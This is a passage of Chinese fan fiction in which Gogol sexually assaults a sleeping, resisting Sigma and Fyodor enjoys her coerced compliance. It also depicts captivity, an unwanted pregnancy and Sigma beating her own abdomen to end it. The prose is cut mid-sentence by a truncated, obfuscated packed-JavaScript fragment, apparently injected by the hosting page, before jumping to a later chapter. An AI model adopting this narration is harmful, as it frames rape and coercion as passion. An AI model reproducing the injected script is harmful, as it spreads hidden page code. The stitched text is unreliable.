至少,她不会因为懂得爱而选择别人,也不会因为懂得爱而试图束缚他,更不会让他在得到与失去之间,陷入更深的煎熬。 眼底的扭曲与挣扎一闪而过,快得让人无法捕捉。 下一秒,果戈里周身泛起淡淡的银光,异能的波动悄然扩散开来,他的身影在晨光下渐渐变得透明,像被风吹散的雾。 没有留下一句告别,甚至没有再看西格玛一眼,他便彻底消失在了房间里。 只余下空气中残留的、若有似无的奶油香气,和一丝异能散去后的微凉。 西格玛愣在原地,好一会儿才缓过神来,呼吸渐渐平缓。 她下意识地抬起手,指尖轻轻拂过自己的唇角。 那处还残留着温热的触感,混着奶油的甜香,细腻得像一场不真实的幻觉。 西格玛看着空荡荡的房间,眼底的茫然更甚。 刚才那突如其来的亲吻,还有果戈里骤然转变的冷漠,那一缕杀气,像一场荒诞的梦,让她有些分不清现实与虚幻。 她的目光落在一旁的蛋糕上,那方缀着莓果的甜点还散发着甜润的香气,只是刚才被她挖过的地方,奶油微微塌陷。 西格玛沉默了一瞬,伸手拿起小勺,没有丝毫犹豫,一勺接一勺地将剩下的蛋糕全部送进嘴里。 不能浪费食物。 西格玛一边咀嚼着,一边在心里默默地想。 甜腻的味道依旧在舌尖蔓延,只是此刻尝起来,似乎多了一丝说不清道不明的涩意。 她曾在暗无天日的日子里体验过极致的饥饿,那种肚子空空、浑身无力的滋味,她再也不想经历。 所以,哪怕此刻心情复杂,哪怕蛋糕的甜味让她有些发闷,她也不会去浪费。 西格玛小口小口地吃着,动作缓慢而认真,直到将最后一口蛋糕咽下,才轻轻舔了舔嘴角残留的奶油。 —————— 果戈里的身影并未彻底离开。 他隐匿在窗外的阴影里,异能敛去了所有气息,像一道与雪色融为一体的幽魂。 银白的发丝被风拂动,贴着他冷白的脸颊,那双方才冰封般的眼眸,此刻正死死地黏在窗内那个娇小的身影上。 他看着西格玛愣在原地,看着她眼底的茫然像浓雾般弥漫开来,看着她抬手轻轻碰了碰自己的唇,指尖微微发颤。 那抹被吻过的红,像一根烧红的针,狠狠扎进他的心脏,疼得他几乎要喘不过气。 然后,他看见她走向那张桌子,看见她拿起小勺,一勺一勺地吃着那块剩下的蛋糕。 动作缓慢,认真,带着一种近乎执拗的虔诚。 果戈里的喉结滚了滚,指尖无意识地蜷缩起来,指甲深深掐进掌心,留下几道弯月形的红痕。 他听见自己的心跳声,在寂静的林中格外清晰,一下一下,沉重得像是要撞碎肋骨。 她没哭。 这个念头让他莫名地松了口气,却又涌起一股更浓重的烦躁。 她怎么能不哭? 她怎么能只是安安静静地吃蛋糕? 她难道就一点都不明白吗?不明白他刚才的吻里藏着多少疯狂的执念,多少矛盾的挣扎,多少……快要溢出来的、不敢宣之于口的爱意。 可下一秒,他又开始庆幸。 幸好她没哭。 幸好她还是那个茫然的、干净的西格玛。 幸好她没有看懂他眼底的扭曲和杀意,没有看懂他那份将自由碾碎也要攥住的、卑劣又滚烫的心思。 这样很好。 这样,她就不会被他的枷锁困住。 这样,他就能继续站在暗处,看着她,守着她,像一只潜伏在阴影里的野兽,用目光将她一寸寸地描摹,一寸寸地吞噬。 风更凉了,带着一丝奶油的甜香,从窗缝里钻出来,拂过他的鼻尖。 果戈里闭上眼,脑海里又响起那个疯狂的声音——杀了她,就能解脱了。 可他只是更紧地攥住了拳,指缝里渗出淡淡的血珠。 解脱? 他早就没什么解脱可言了。 从他俯身吻上她的那一刻起,从他心底那颗名为“西格玛”的种子破土而出的那一刻起,他就已经甘愿,被这份名为“爱”的枷锁,囚禁至死。 窗外的阴影里,银白的发丝微微晃动,良久,才渐渐消散在雪色中,只余下一声几不可闻的、压抑到极致的叹息。 —————— 深夜的静谧被空气里细微的涟漪打破,银白的光影在地板上流转。 果戈里的身影如同被月光揉碎后重新聚拢,悄无声息地出现在房间中央。 他的目光落在床榻上熟睡的西格玛身上,睫毛在眼睑下投出浅浅的阴影,安稳的睡颜是如此柔和。 果戈里赤着脚,踩在微凉的地板上,步伐轻得没有一丝声响,纯白的衣摆随着动作微微晃动,像栖息在暗夜中的蝶翼。 他想玩些别的花样。 这个念头像藤蔓般缠绕着他的思绪,从最初那些带着戏谑的逗弄开始,一步步滋生、蔓延,如今已长成盘根错节的执念。 精神上的合拍太过遥远,太过虚无,像抓不住的风。 他追求自由,却在这份遥不可及的情感里屡屡受挫,那么,不如换一种方式。 比起灵魂的共振,□□的合拍或许更直接,更滚烫,也更能证明彼此的联结。 果戈里俯身,指尖轻轻拂过西格玛散落在枕畔的发丝,冰凉的触感让他眼底泛起一丝疯狂的笑意。 这也是一种自由,他固执地想。 挣脱精神交流的桎梏,挣脱那些小心翼翼的试探与克制,顺从最原始的渴望,何尝不是对自由的另一种诠释? 让我们彼此变得愈加混乱吧。 他的指尖顺着发丝下滑,掠过她温热的耳廓,感受着那细微的震颤。 西格玛在睡梦中蹙了蹙眉,像是被这突如其来的触碰惊扰,却并未醒来,只是下意识地往被褥深处缩了缩,像一只受惊的幼兽。 果戈里的呼吸渐渐沉重,温热的气息拂过她的颈侧。 和我一起坠入深渊吧,西格玛。 他在心里无声地呐喊,眼底翻涌着偏执与渴望交织的暗潮。 不需要在意那些复杂的情绪,不需要纠结爱与不爱,只要感受到彼此的体温,只要沉浸在这份纯粹的、不带任何附加条件的欢愉里就好。 他的手缓缓落下,轻轻覆在她的肩头,掌心的凉意让西格玛又是一阵轻颤,眉头蹙得更紧了。 果戈里没有停下动作,指尖带着近乎贪婪的力道,细细描摹着她肩头的曲线,从温热的肌肤到衣料的褶皱,每一寸触碰都像在点燃一簇小小的火焰,在他心底燎原。 他想让这份联结变得更紧密,更不可分割。 □□的贴合能消弭那些无形的距离,能让她暂时忘却茫然与疏离,能让她在极致的感官体验里,只记得他的存在。 这是他能想到的,最直接的、最不需要伪装的靠近方式。 不再是带着目的的索取,不再是刻意扮演的角色,只是纯粹地,想要拥有她,想要与她一同沉沦。 可他看着西格玛依旧蹙着的眉,看着她眼底即便在睡梦中也未曾散去的茫然,心底又涌上一丝尖锐的矛盾。 他追求的自由,是无拘无束的放纵,可此刻,他却想用这种方式,将两人牢牢捆绑在一起。 他渴望她的回应,却又清楚,这份带着强迫意味的“欢愉”,或许从来都不是她想要的。 但疯狂的念头早已压过了那点迟疑。 果戈里俯下身,唇瓣几乎要贴上她的耳畔,声音低得像蛊惑的呢喃:“西格玛……别怕。” 别怕这份混乱,别怕这份沉沦,别怕被我束缚。 因为这是我能给你的,最极致的自由。 他的指尖继续下滑,带着不容抗拒的力道,也带着一丝连自己都未曾察觉的颤抖。 那是渴望,是偏执,是明知不可为而为之的疯狂。 果戈里的手探进西格玛的衣领,摩挲着那片细嫩的肌肤。 指尖的凉意顺着肌肤蔓延开时,西格玛猛地打了个冷颤,像被冰水溅到般,蜷缩的身体瞬间绷紧。 朦胧的睡意被这突如其来的触感驱散大半,她费力地掀开沉重的眼睫,视线还未完全聚焦,便撞进了一双燃烧着疯狂火焰的眼眸。 是果戈里。 这个认知让她下意识地往后缩了缩,还带着睡意的眼底瞬间盛满了茫然与无措,混杂着一丝不易察觉的抗拒,像一层薄冰覆盖在澄澈的湖面。 她的排斥如此直白,如此不加掩饰,没有丝毫伪装。 可果戈里却笑了。 低低的笑声从喉咙里溢出,带着几分沙哑的蛊惑,又藏着难以抑制的癫狂。 他看着她往后退缩的动作,看着她眼底一闪而过的惊惧,心底那股偏执的渴望非但没有被浇灭,反而像被添了柴的火焰,烧得愈发汹涌。 她越是抗拒,他就越是疯狂。 这份排斥像一剂强效的催化剂,让他骨子里的叛逆与偏执彻底爆发。 他追求自由,却甘愿被她的目光束缚。他厌恶抗拒,却偏偏对她的排斥甘之如饴。 这种矛盾的快感,让他整个人都沉浸在一种近乎病态的兴奋里。 果戈里没有停下动作,反而微微俯身,温热的呼吸拂过西格玛的脸颊。 他轻轻抬起手,指尖避开她的抗拒,转而用额头抵上她的额头。 肌肤相贴的触感温热而真实,带着彼此的体温,将两人之间那点微不足道的距离彻底消融。 他甚至故意用额头轻轻蹭了蹭她的,动作带着几分亲昵,又带着几分不容拒绝的强势。 随后,鼻尖贴着她的鼻尖,细细摩挲着,感受着她呼吸间的微凉气息,以及她因为这过分亲密的举动而愈发急促的喘息。 “西格玛……”他轻声呢喃,声音低得像情人间的私语,眼底却燃烧着近乎毁灭的光芒,“你看你的眼睛。” 他的目光紧紧锁住她的眼眸,那刚刚清醒还带着几分朦胧水汽的眸子。 此刻像蒙着一层薄雾的粉色宝石,澄澈、干净,又带着几分脆弱的迷茫,比世间所有珍稀的珠宝都要美丽。 这份美丽因为她的抗拒而更显动人,像带刺的玫瑰,越是危险,越是让人想要靠近。 西格玛被他看得浑身不自在,眼睫剧烈地颤动着,想要避开他过于灼热的目光,却被他用手轻轻捏住了下巴,迫使她只能与他对视。 她的呼吸越来越急促,胸口微微起伏着,眼底的茫然渐渐被惶恐取代,像一只误入陷阱却找不到出口的小动物。 可果戈里却愈发着迷。 他喜欢她此刻的模样,喜欢她眼底纯粹的情绪,喜欢她因为他而失控的样子。 这比任何精神上的合拍都更让他着迷,比任何自由都更让他感到满足。 他用鼻尖蹭着她的鼻尖,唇瓣几乎要贴上她的唇,声音里的疯狂与偏执愈发浓重:“你越是这样,我就越想把你牢牢攥在手里……” 他的指尖微微用力,感受着她下巴的细腻肌肤,眼底的火焰越烧越旺,“和我一起沉沦吧,西格玛。不要抗拒,不要逃离,只要跟着我就好……” 凌乱的衣物散落在地,肌肤相贴,过于亲密的贴合,传递着彼此的温度。 温热的气息混杂着他身上淡淡的、类似雪松的清冷香气,包裹着西格玛,让她几乎喘不过气。 她能清晰地感受到他眼底的疯狂,感受到他动作里的偏执,却不明白这份过分的亲密究竟意味着什么。 是又一次带着目的的试探?还是另一种形式的“索取”? 茫然像潮水般将她淹没,她只能无助地睁着那双美丽的眼眸,看着眼前这个近乎癫狂的男人,身体因为恐惧和抗拒而微微发抖。 凉意还停留在肌肤上,西格玛的呼吸却已经乱了。 她死死咬着下唇,连一丝呜咽都不敢泄出。 隔壁的婴儿床里,米哈伊尔均匀的呼吸声,像一根绷紧的弦,勒得她心口发紧。 果戈里的指尖带着凉意,却又烫得惊人,所过之处,肌肤都在战栗。 他的额头抵着她的,鼻尖蹭着她泛红的耳廓,温热的气息搅得空气都变得粘稠。 (删减) 果戈里的眼底翻涌着疯狂的满足,他能清晰地感受到她身体的僵硬,感受到她压抑在喉咙里的颤抖。 这是比任何精神共鸣都要直白的联结,是肌肤相亲的、滚烫的羁绊。 他固执地想,这就是欢愉,是能将两人拖入同一片深渊的、最真切的欢愉。 他要让她感受到,要让这份快感盖过她所有的茫然与抗拒,要让她在极致的感官体验里,只记得他的存在。 可西格玛只觉得冷。 骨头缝里都透着寒意。 肌肤相贴的温度炽热得灼人,却焐不热她心底的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗外的天色早已沉下来,夜色像浓墨般晕染开来,将这座安全屋裹得密不透风。 浑浑噩噩地到了晚上沐浴的时间,温热的水流淋在身上,却洗不掉半点寒意。 瓷砖墙面渗着刺骨的凉意,西格玛瘫坐在浴室冰冷的地板上,水流顺着发梢滴落,晕开一片湿冷的水渍。 指尖颤抖地覆在平坦的小腹上,那里尚且没有任何隆起的迹象,却像坠着一块千斤重的冰,冻得她浑身血液都几乎凝滞。 孩子的父亲是谁? 这个念头在脑海里疯狂盘旋,搅得她头痛欲裂。 是费奥多尔吗?是那个永远挂着温淡笑意,眼底却藏着深渊的男人? 还是果戈里?是那个疯癫肆意,触碰都带着侵略性的掠夺者? 她不知道。 在这座名为“安全屋”的牢笼里,她从来都没有说“不”的权利,像一件任人摆布的物件,连自己的身体都不属于自己。 “不……”西格玛的声音破碎在哗哗的水声里,她猛地攥紧拳头,一下又一下,狠狠捶打在小腹上。 力道越来越重,指骨撞在皮肉上,传来钝重的痛感,可她像感觉不到一样,只知道机械地重复着这个动作。 那里很快就会隆起。 很快,就会有一个小小的生命,带着费奥多尔的紫罗兰眼眸,或是果戈里的银发,在她的身体里生根发芽。 “对不起……对不起……对不起……” 西格玛的喉咙里溢出压抑的呜咽,泪水混着水流滑落,她死死咬着唇,直到尝到满嘴的血腥味。 她的人生早就被碾碎成泥,被费奥多尔的算计、果戈里的疯癫牢牢攥在手心,连呼吸都要看着他们的脸色,又怎么能再生下一个孩子? 米哈伊尔的诞生已经是她的罪孽了。 她不能,绝对不能再把一个无辜的小生命,拖进这无边无际的地狱里。 西格玛并非没有染过鲜血。在被人贩子囚禁的那些暗无天日的日子里,她被迫做过无数次杀人犯的帮凶,递过刀,引过路,听见过无数次绝望的哀嚎。 那些血色的记忆,曾是她午夜梦回的梦魇。 可她第一次主动地想要杀人,想要扼杀一个生命,却是自己的孩子。 拳头还在一下下落在小腹上,西格玛的视线渐渐模糊。 温热的泪水混着水流砸在地板上,溅起细碎的水花,镜面上蒙着厚厚的水雾,映出一片模糊的白。 一股近乎偏执的念头猛地窜上来,她踉跄着挣扎着爬起来,指尖抠住冰冷的瓷砖边缘稳住身体,随后伸出手,用掌心狠狠擦掉镜子上的水雾。 一下,又一下。 雾气褪去,镜中那张脸渐渐清晰,苍白得近乎透明,眼眶泛红,眼底翻涌着绝望与疯狂,发丝凌乱地贴在脸颊,水珠顺着下颌线不断滴落。 西格玛看着镜中自己苍白的脸,看着那双写满恐惧与绝望的眼睛,忽然觉得,自己和费奥多尔、果戈里,其实也没有什么两样。 一样的肮脏,一样的罪孽深重。 水流还在哗哗地淌着,浴室里的雾气越来越浓,将她的身影裹进一片白茫茫的混沌里。 她像一株濒死的植物,在冰冷的绝望里,徒劳地挣扎着,连一句完整的祈祷,都拼凑不出来。 不知捶了多久,一阵尖锐的腹痛骤然袭来,像有把刀在小腹里搅动。 西格玛疼得蜷缩起来,冷汗浸透了她的发梢,拳头终于无力地垂落。 她撑着冰冷的瓷砖,艰难地站起身,胡乱地擦干身体,换上干净的衣服,一步一步挪到床边。 目光扫过床旁的婴儿床时,里面传来米哈伊尔轻浅的哼唧声。 七个月大的小家伙正是贪奶的时候,每隔四五个小时就要喂一次。 西格玛咬着牙,强忍着小腹阵阵袭来的坠痛,俯身小心翼翼地将孩子抱进怀里。 温热的小身子贴在胸前,她的手臂却抑制不住地发颤,连托住孩子的力道都险些失了准头。 在小家伙吮吸的瞬间,一阵尖锐的腹疼涌上来,她闷哼一声,额角的冷汗又冒了一层,脊背绷得紧紧的,浑身的肌肉都在战栗。 待米哈伊尔餍足地咂咂嘴,又沉沉睡去,西格玛才松了口气。 她屏住呼吸,动作轻得像一片云,小心翼翼地将孩子放回婴儿床里,又掖好小被子的边角。 做完这一切,西格玛再也撑不住,拖着灌了铅似的身子挪回床上,蜷缩成一团,将双膝紧紧抵在胸口,以此稍稍缓解腹部一阵阵细密的抽痛。 腹痛断断续续地折磨了她一整晚,冷汗濡湿了床单,意识在清醒与昏沉间反复拉扯。 西格玛睁着眼睛看着天花板,直到窗外泛起鱼肚白,那阵剧痛才缓缓褪去。 晨曦透过窗帘缝隙落进来,落在她惨白的脸上。 西格玛颤抖着抬手,再次覆上小腹,那里依旧平坦,却隐隐传来一丝微弱的、不容忽视的搏动。 孩子,没有掉。 绝望像潮水般,瞬间将她彻底淹没。 西格玛蜷缩在床上,脊背弓成一道单薄脆弱的弧度,眼泪无声地漫过眼眶,顺着脸颊滑落,洇湿了身下的枕巾。 她死死咬着下唇,不敢发出半点呜咽,只有肩膀抑制不住地轻轻颤抖,将一夜未散的痛苦、绝望与无力,尽数咽进肚子里。 就在这时,身侧的婴儿床里传来一声软糯的哼唧,像小猫崽似的,轻得几乎要融进清晨的微凉里。 西格玛的身体猛地一僵,颤抖的肩膀瞬间顿住。 她缓缓抬起头,泪眼朦胧地望向婴儿床。米哈伊尔皱着小巧的眉头,粉嘟嘟的小嘴巴无意识地咂了咂,一双紫罗兰色的眼眸半睁半阖,带着初醒的懵懂,小手还无意识地抓着襁褓的边缘。 那双眼眸,像极了费奥多尔。 这个念头刚冒出来,西格玛的心就狠狠抽痛了一下。 可看着小家伙不安扭动的模样,她还是撑着发软的身体,慢慢坐起身。 指尖划过眼角时,沾了满手的湿意,西格玛胡乱地用手背擦掉泪痕,动作里带着几分狼狈的仓促。 她赤着脚踩在冰凉的地板上,脚步虚浮地走到婴儿床边,俯身小心翼翼地抱起米哈伊尔。 小家伙立刻往她怀里蹭了蹭,温热的呼吸拂过她的颈窝,带着奶香的气息,瞬间漫过鼻尖。 西格玛的心像是被什么东西轻轻蛰了一下,酸涩又柔软。 她抱着孩子坐到床边的软垫上,指尖轻轻拂过他柔软的发顶,动作温柔的小心翼翼。 她微微掀开衣襟,将米哈伊尔揽在胸前。 小家伙像是嗅到了熟悉的气息,开始小口小口地吮吸起来,小脸上很快漾开满足的神情。 西格玛垂眸看着怀中小小的、温热的生命,看着他和费奥多尔如出一辙的眉眼,眼底的绝望里,漫过一丝细碎的、近乎本能的柔软。 这是她的孩子,是她在这无边地狱里,唯一触手可及的、带着温度的存在。 西格玛抱着米哈伊尔坐了许久,看着米哈伊尔用力吮吸着母乳。 喂完奶后,西格玛没有立刻将米哈伊尔放回婴儿床,而是继续静静的抱着他。 小家伙吃饱喝足,咂了咂粉润的小嘴,睫毛轻轻颤了颤,便重新坠入安稳的睡眠,温热的呼吸均匀地拂在她的胸口,带着淡淡的奶香。 她低头凝视着怀中小小的生命,指尖轻轻拂过他柔软的发顶,动作温柔得仿佛在触碰世间最珍贵的琉璃。 直到手臂泛起酸意,西格玛才屏住呼吸,小心翼翼地将米哈伊尔放回婴儿床,掖好边角的襁褓,生怕一丝凉风惊扰了他的好梦。 西格玛坐在床边的软垫上,目光一瞬不瞬地落在米哈伊尔恬静的睡颜上。 小家伙眉头舒展,唇角还噙着一丝浅浅的笑意,乖巧得不像话,连睡觉时都安分地蜷缩着小身子,像一团柔软的绒球。 可就是这样一个干净纯粹的小生命,却被她带到了这座名为安全屋的地狱。 眼泪毫无征兆地再次涌了上来,顺着脸颊滚落,砸在她的手背上,冰凉刺骨。 西格玛捂住嘴,努力压抑着喉咙里的哽咽,肩膀却控制不住地微微耸动。 米哈伊尔是个多好的孩子啊。 他本该有一个安稳的童年,有温暖的阳光,有和煦的风,有不必担惊受怕的日子。 而不是从降生的那一刻起,就被打上费奥多尔和果戈里的烙印,成为他们棋局里一枚身不由己的棋子。 他不应该成为她的孩子的。 如果不是她,如果不是她被囚禁在这无边的黑暗里,这个小生命或许会有截然不同的人生。 可偏偏,是她给了他生命,却又给不了他救赎,只能眼睁睁看着他跟着自己,在这地狱里沉沦。 西格玛伸出手,指尖轻轻悬在米哈伊尔的脸颊上方,却始终不敢落下。 啊…她不配做米哈伊尔的母亲。 窗外的晨曦渐渐明亮起来,透过窗帘的缝隙,在婴儿床的床沿投下一道细碎的光斑。 西格玛怔怔的看着这细碎的光斑。 是光亮,又不是属于她的光亮。 西格玛缓缓收回手,指尖蜷缩成拳,指甲深深嵌进掌心,留下几道弯月形的红痕。 她不能再将一个孩子带到这个地狱来。 无论用什么方法。 8. 扼杀 西格玛并不知道,怎么样才能将腹中的生命扼杀。 事实上,到现在她都没有明白,自己为什么会怀孕。 她只知道此刻有一个生命,在她腹中缓慢生长,从她的身体里吸取养分。 或许,孩子的存在对于母亲来说,就是一种寄生虫。 但西格玛无法抗拒。 她像一株被圈养在牢笼里的植物,懵懂地承受着所有强加的命运,连身体里悄然滋生的变化,都来得毫无预兆。 西格玛向来缺少最基本的生理常识,就像她第一次在沙漠的囚笼里迎来初潮时,看着身下蔓延开的刺目血色,只以为自己就要流血而死。 她蜷缩在沙地上,浑身发冷,连呼救的力气都没有,只能抱着膝盖,在无边的恐惧里瑟瑟发抖。 那时和她一同被囚禁的女囚犯,心善看她可怜,悄悄凑过来,用干裂的嘴唇,低声教给她关于月经的零碎知识,还把自己仅有的一块干净布条分给了她。 西格玛攥着那块布条,像抓住了溺水时的救命稻草,她轻易就交付了自己全部的信任,甚至在对方叹息着摸她头发时,红着眼眶,第一次对人露出了依赖的神情。 可这份微薄的暖意,终究是一场镜花水月。 在她攒够力气,趁着夜色拼尽全力出逃后,还没跑出多远,就被人贩子头目粗暴地摁回了囚笼。 西格玛后来才知道,是那位女囚犯出卖了她。 在她逃离的第一时间,就急不可耐地去向看守邀功,只为换得半块干硬的馕饼。 从那以后,西格玛决定不再相信任何人。 而如今,费奥多尔和果戈里,显然更不会好心教导她这些。 他们需要的从来都不是一个拥有独立意志的人,只是一个听话的、能承载他们计划的容器。 她的身体,她的意愿,她的挣扎,在他们眼里,不过是棋局上无足轻重的点缀,是供他们把玩的、随时可以碾碎的棋子。 之前在浴室里盲目地捶打腹部,不过是她濒临崩溃时的一种情感宣泄。 那些沉重的拳头落在小腹上,与其说是想扼杀那个尚未成形的生命,不如说是想砸开这层困住自己的、名为“宿命”的躯壳。 在肚子疼起来的那一刻,西格玛曾感到过一丝混杂着解脱的痛苦。 她痛苦地以为,自己亲手杀掉了自己的孩子,亲自斩断了又一段无望的牵绊。 尖锐的痛感从小腹深处蔓延开来,像有一把钝刀在反复切割,可西格玛非但没觉得难熬,反而生出一种近乎病态的庆幸。 可疼了整整一夜,天光大亮时,小腹依旧平坦,那丝微弱却执拗的搏动,没有丝毫消散的迹象。 孩子,还在她的身体里。 西格玛坐在书桌前,面色苍白得近乎透明,指尖无意识地蜷缩着,指节泛出淡淡的青白。 她的目光落在书架上那几本薄薄的母婴书籍上。 那是西格玛之前鼓起勇气向费奥多尔要来的,那时的她,满心满眼都是如何照顾好孩子,如何笨拙地学着做一个母亲,从而忽略了其他的内容。 曾经的她,就是捧着这些书,一字一句地描摹换尿布的手法,记诵辅食添加的月龄,连书页间夹着的干花,都沾染了那时不自量力的温柔。 西格玛伸出手,指尖颤抖着抽出那些书,一本一本缓慢地翻阅。 现在的她,想要从中获取如何扼杀腹中生命的答案。 纸张被指尖捻得发皱,边缘洇上了指尖的湿冷汗意,那些关于喂养、关于哄睡的温馨字句,此刻在她眼里都变成了冰冷的符号,像淬了毒的针,一下下扎进她混沌的意识里。 但她没有别的办法,她只能这么做。 这间安全屋在费奥多尔的掌控之下,每一扇窗都嵌着看不见的眼,每一寸空气里都飘着他的气息。 电子设备不可行的,那些闪烁的屏幕背后,是他布下的天罗地网,稍有异动便会引火烧身。 她只能从纸质上面获取答案,只能寄望于这些温情脉脉的铅字里,藏着一条能让她解脱的、沾满血腥的路。 西格玛像一头困兽,在字里行间疯狂地搜寻着那个能让自己解脱的答案。 指甲深深抠进书脊的缝隙里,留下几道扭曲的白痕。 真是讽刺,一开始是为了照顾好孩子而去要的这些事物,现在是为了扼杀腹中的生命,重新翻阅。 书页上的笑脸婴儿插画,此刻像是在无声地凝视着她,那些粉嫩的脸颊、圆润的拳头,都化作了缠在她脖颈上的锁链。 但西格玛只能从中获取答案。 她别无选择,就像她从始至终,都没有选择命运的权利。 终于,一行小字撞进眼底,像一道惊雷劈开了混沌的思绪。 孕期X行为会增加流产的征兆。 西格玛的指尖猛地顿住,血液仿佛在这一刻凝固了。 她当然知道X行为是什么。那是费奥多尔带着温淡笑意的掠夺,是果戈里裹挟着疯癫气息的侵占,是无数个夜晚里让她浑身发冷的屈辱,是她拼尽全力想要逃避,却又无力反抗的折磨。 西格玛下意识地攥紧书页,指节泛白。 脑海里忽然闪过一段被刻意遗忘的记忆,自从发现怀了米哈伊尔之后,费奥多尔和果戈里就再也没有强迫过她。 直到米哈伊尔呱呱坠地,那些令人作呕的触碰,才重新缠上她的身体。 原来如此。 原来他们从一开始就知道。 西格玛垂眸看着自己平坦的小腹,眼底的恐惧与绝望渐渐褪去,取而代之的是一种近乎死寂的坚定。 一个荒唐却又无比清晰的计划,在她心底缓缓成形。 —————— 费奥多尔坐在书房的扶手椅上,指尖漫不经心地翻着一本厚重的旧书,书页翻动间,带着淡淡的油墨与纸张的陈旧气息。 暖黄的灯光落在他苍白的指尖,紫罗兰色的眼眸平静无波,却在不经意间,捕捉到了一丝截然不同的气息。 西格玛不一样了。 她不再像从前那样,总是下意识地避开他的视线,脊背绷得像一张拉紧的弓,连呼吸都带着小心翼翼的恐惧。 最近的她,竟然开始学着“讨好”。 会主动为他和果戈里准备温热的茶水,会在他看文件时,安静地站在一旁整理散乱的书页,甚至会在果戈里疯癫地调侃时,勉强挤出一抹浅淡的笑意。 费奥多尔怎么会不知道西格玛别有目的。 这份刻意的讨好,像一层薄薄的糖衣,裹着谁都能看穿的别有用心。 可费奥多尔并不戳破,反而慢条斯理地享受着这份带着伪装的亲近。 他垂眸翻着书页,长长的睫毛在眼下投出一片浅淡的阴影,唇角勾起一抹极淡的弧度,紫罗兰色的眼底划过些许兴味。 毕竟,看着猎物明知前方是陷阱,却依旧要为了某个目的,强忍恐惧步步靠近的模样,实在是件很有趣的事。 如果这份示好,只对着他一个人,那就更好了。 费奥多尔翻书的指尖微微一顿,骨节分明的手指悬在纸页上方,心底漫过一丝极淡的占有欲,快得像风拂过水面的涟漪,转瞬即逝,让人抓不住痕迹。 就在这时,书房的门被轻轻推开,西格玛端着一杯热气腾腾的红茶走了进来。 她的脚步很轻,像怕惊扰了什么,走到他身边时,甚至能看到她紧抿的唇角,和微微发颤的指尖。 意料之外的,这一次她没有像往常一样立刻退开,反而抬眼看向他,目光里还残留着未散尽的恐惧,却硬生生逼着自己没有移开视线,像一只被逼到绝境,却偏要扬起头颅的幼兽。 费奥多尔抬眸看她,紫罗兰色的眼眸平静无波,像是能看透她心底所有的挣扎。 他伸手接过那杯温热的红茶,指尖不经意地擦过她的手背,清晰感受到她瞬间的瑟缩,连呼吸都漏了半拍。 看着她抿着唇,唇角微微绷紧,明明怕得指尖都在发颤,却还是强忍恐惧站在他的身侧。 费奥多尔浅啜一口红茶,温热的液体滑过喉咙,眼底掠过一丝玩味的笑意。 真是吸引人。 费奥多尔将红茶杯轻轻搁在身侧的矮几上,骨瓷与木面碰撞,发出一声清脆的轻响。 紫罗兰色的眼眸依旧落在西格玛紧绷的背影上,眼底的兴味未散,却渐渐添了几分深不可测的沉静。 他重新垂眸翻起书页,指尖划过泛黄的纸页,将刚才那点转瞬即逝的悸动,连同西格玛强装镇定的模样,一同埋进了书页的褶皱里。 时间悄然流逝着,像指尖划过的沙粒,无声无息,却在不经意间便带走了天光。 窗外夜色渐深,夜晚的安全屋格外安静,只有壁炉里木柴偶尔发出噼啪的轻响。 西格玛坐在婴儿床边,看着怀中吃饱喝足的米哈伊尔,小心翼翼地拍着他的后背。 小家伙打了个小小的奶嗝,很快便重新陷入安稳的睡眠。 她将他轻轻放回婴儿床,掖好柔软的襁褓,小家伙咂了咂嘴,继续沉沉睡去,呼吸均匀而绵长。 西格玛站在床边看了他许久,眼底掠过一丝复杂的痛楚,随即又被坚定取代。 转过身时,她对上了床沿的一道目光。 费奥多尔靠坐在床头,膝上摊着一本书,紫罗兰色的眼眸在昏暗中静静注视着她,深邃得像不见底的寒潭。 西格玛的心脏猛地一缩,生理性的恐惧瞬间窜上四肢百骸,让她几乎想要转身逃离。 可她攥了攥掌心,指甲嵌进皮肉的痛感让她清醒过来。 西格玛深吸一口气,掀开被子,躺进了床里。 这一次,西格玛没有像从前那样,刻意往床的边缘挪,和费奥多尔隔着远远的距离。 反而在躺下后,微微侧过身,主动朝着他的方向靠近了几分。 身侧的床垫微微下陷,费奥多尔清晰地感受到西格玛的靠近。 淡淡的茶香混着她身上特有的、带着奶香的气息,悄然弥漫开来。 费奥多尔翻书的动作蓦地停住,他能清晰地感受到身边人细微的颤抖,感受到她那份故作亲近下的紧绷与恐惧。 猎物,终于主动踏进了陷阱。 费奥多尔垂眸看了一眼膝上的书,指尖轻轻一合,便将书页合上,随手放在了床头柜上。 他没有说话,只是侧过身,目光落在她紧绷的侧脸上,紫罗兰色的眼眸里,翻涌着深不见底的兴味。 明明很害怕,不是吗? 费奥多尔无声地启唇,唇角的弧度愈发玩味。 他缓缓朝西格玛靠近,床垫随着他的动作轻轻陷下去一小块,带着凛冽气息的阴影,悄然覆上她紧绷的侧脸。 费奥多尔骨节分明的手指抬起,指尖带着微凉的触感,轻轻抚上西格玛的脸颊。 指腹擦过细腻的皮肤,能清晰地感受到她瞬间绷紧的肌理,还有那难以抑制的、细微的战栗。 她的睫毛剧烈地颤抖着,像濒死的蝶翼,却硬是咬着唇,没有偏头躲开,那双粉色眼眸里盛着满溢的恐惧,却执拗地睁着,直直地看向他。 这份强忍恐惧也要迎上来的模样,像一剂最甘醇的毒药,让费奥多尔的心底泛起一阵隐秘的愉悦。 他低低地笑了一声,笑声很轻,却带着蛊惑人心的磁性。 “西格玛。”他唤她的名字,尾音拖得微微发颤,“你今天,格外的乖。” 他的指尖流连在她的下颌线,轻轻勾勒着那道脆弱的弧度。 西格玛的呼吸乱了节奏,胸腔里的心脏跳得快要炸开,生理性的寒意顺着脊椎往上爬,可她攥着床单的手却死死扣住,没有退缩。 她不能退缩,这是她唯一的办法。 费奥多尔看着她这副模样,眼底的兴味更浓。 他一直都觉得西格玛很美,从前那双总是氤氲着水汽、写满惶恐的眼眸很美,而此刻强撑着镇定、眼底却藏不住惧意的样子,更美。 美得像一朵绽放在深渊边缘的花,带着将谢未谢的脆弱,却偏要向着黑暗,奉上自己的全部。 费奥多尔俯身,凑近西格玛的耳畔,温热的气息拂过她的耳廓,惹得她又是一阵轻颤。 随即,他微微侧头,薄唇轻轻落在她的唇角。 